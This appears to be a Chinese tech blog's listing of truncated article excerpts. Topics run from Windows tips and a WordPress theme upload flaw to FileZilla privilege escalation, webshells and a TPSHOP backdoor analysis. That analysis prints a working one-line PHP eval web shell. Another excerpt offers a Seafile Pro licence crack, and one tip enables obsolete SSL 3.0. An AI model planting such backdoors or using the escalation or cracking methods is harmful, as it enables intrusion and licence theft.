技术文章

Modown是一款不错的主题，但是最近不少网站被黑。看了下该主题存在一个非常低级的漏洞。投稿上传图片没用做过滤，可以通过拦截修改上传文件格式。修复方法上传限制格式，并做文件验证。同时吧/wp-content/uploads上传目录禁止执行。

Windows删除电脑文件会先经过回收站，目的是便于我们因意外操作而恢复电脑数据文件。只要你不是通过shift+delete组合键删除文件，也没有在回收站属性里设置不将文件移到回收站中。移除文件后立即将其删除，那么你删除的文件就会在回收站里存放很久直至手动将其清空。怎样让Windows电脑自动定期清空回收站呢微软的Windows 10操作系统附带了一项名为Storage Sense的新功能 ; 我们可以将其配置为定期自动删除回收站内容和其他临时文件。在windows 10电脑上，我们先打开Win

今天重启电脑后 应用商店出现代码: 0x80131500想了下因为电脑上安装了网银，网银工具重设过IE浏览器。把SSL 3.0开启即可解决。请打开 IE 浏览器，点击设置，打开 Internet 选项点击高级，并勾选 “使用SSL 3.0”、”使用 TLS 1.0“、”使用 TLS 1.1“、”使用 TLS 1.2“，应用后重新打开应用商店即可解决，查看能否解决问题。顺便说下，有时候我们需要加速工具提示无法下载的时候可是在电脑设置里 搜索 区域设

WEB安全 提权篇 FileZilla 提权1.简介FileZilla 是一个ftp服务器， 假如配置不严的，读取xml密码 可以执行一些简答的命令默认安装目录C:\Program Files\FileZilla Server\2.提权FileZilla Server Interface.xml <FileZillaServer>     <Settings>     

一、什么是webshellwebshell简介webshell，顾名思义：web指的是在web服务器上，而shell是用脚本语言编写的脚本程序，webshell就是就是web的一个管理工具，可以对web服务器进行操作的权限，也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途，但是由于webshell的功能比较强大，可以上传下载文件，查看数据库，甚至可以调用一些服务器上系统的相关命令（比如创建用户，修改删除文件之类的），通常被黑客利用，黑客通过一些上传方式

影响版本：TPSHOP v2.0.0后门文件：eval-stdin.php 内容：<?php  eval('?>' . file_get_contents('php://input')); ?>分析：使用file_get_contents('php://input'))接收POST请求的原始数据流eval函数来执行。我们把代码复制下来，本地调试如下，惊喜不，喜欢不，兴奋不

方法一后台密码忘记了怎么办？1.如果你已经在后台配置了，邮件发送功能且邮箱是你的真实邮箱，可以到前台登录页找回密码；2.如果你是后台管理员，你可以使用 sp_password()方法生成一下新的密码；你只要在任何一个前台可以访问控制器里,如application/Portal/Controller/IndexController.class.php<?phpnamespace Portal\Controller;use Common\Controller\Homebas

【注意】此脚本搭建稳定请使用下面的脚本搭建，如需测试版本请查看更新日志更新日志：2018年10月25日18:37:41：发布官方最新dev测试版本脚本，优点可随官方更新，缺点脚本问题。【此脚本为测试版本，如遇到问题请及时留言】yum install wget -y && wget -N --no-check-certificate https://raw.githubusercontent.com/marisn2017/ss-panel-v3-mod_Uim/maste

ShareList 是一个易用的网盘工具，支持快速挂载 GoogleDrive、OneDrive 、天翼云、蓝奏云等，可通过插件扩展功能。主要功能：多种网盘系统快速挂载、支持虚拟目录和虚拟文件、支持目录加密、插件机制、国际化支持，WebDAV导出。因为支持天翼云盘和蓝奏云的挂载所以这篇文章就用宝塔面板来分享下如何挂载。1、简介这个项目支持docker安装，但是推荐普通安装修改起来更容易点。项目：https://github.com/reruin/sharelist2、准备宝塔面板最新版

破解">Seafile Pro 专业版 无需工具一键破解自己动手，丰衣足食！无需外部工具，只需要两条命令系统环境Ubuntu 16.04 及以上原材料官方Seafile-Pro安装包如果有不知道从哪下载安装包的，可以用以下命令从官网下载。curl -o seafile.tar -sSL -G -d "p=/pro/seafile-pro-server_6.3.13_x86-64_Ubuntu.tar.gz&am

现在我给大家说一下最近腾讯查得很严还有很多群被封,今天呢我教你们怎么复活被封的QQ群和群里的人复活群的条件：自己是群主，群不是冻结期间，不知道什么是群冻结期间的百度一下我这里就不说了。我这里就拿我的群复活一下被封的QQ群77918XXXX，群人数162第一步：把被封的群解散用手机解散一下，好了解散了，第二步：去创新个QQ群,创新的群和被封的群号是一样的第三步：打开，我的QQ中心，id.qq.com，点击QQ群，然后点解散群，恢复解散的群找到被封的群，申请恢复，如果你的群原来是500人的就先去升级

今天介绍个类似OneIndex的工具PyOne，基于Flask开发的，由于是模仿的OneIndex，自然功能就差不多，就是界面好看很多，后台也可以直接上传编辑文件，目前作者新增多网盘和离线下载，这里说一下安装教程。截图更新【2019.2.16】PyOne代码组织大变更！更新版本号为4.0！ 【2018.11.19】 新增离线下载功能，依赖Aria2。 【2018.11.15】PyOne喜迎3.0版本，支持绑定多个onedrive网盘，再也不怕5T小姐姐不够看了。特性#简单易用只需简单设置，